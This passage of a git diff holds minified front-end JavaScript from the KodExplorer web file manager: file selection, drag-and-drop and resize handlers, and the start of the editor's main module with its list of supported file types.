ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){($(this).hasClass("menuTreeFolder")||$(this).hasClass("menuTreeFolderFav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),j(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+t+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+t+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+a+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+a+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},N=0,L=5,C=35,z=20,T=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+i+" file-draging'></div></div>").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=T||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*L,"data-sizeAdd":N*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),z=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},z);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*L,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+L*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t)+2,top:Math.min(s,a)+2,width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};if(i.row<e.row){var o=i;i=e,e=o}var s=function(e,i){var n=i*a+e;$(t[n]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;i.row>=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]<i[a])&&(t[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(t);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=t);var a="",n=0;$.each(e,function(e,t){0==e.indexOf("file")&&(i[e]>=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),t=n>=t?n:t,t=t>=o?o:t;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(t),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,v="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var _="div.fileList_icon div.file{max-height:"+m+"px;}"+v+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",s),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i; +if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left})};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file diff --git a/static/js/app/src/edit/main.js b/static/js/app/src/edit/main.js index 027605f..4a837c9 100755 --- a/static/js/app/src/edit/main.js +++ b/static/js/app/src/edit/main.js @@ -1,6 +1,6 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","mak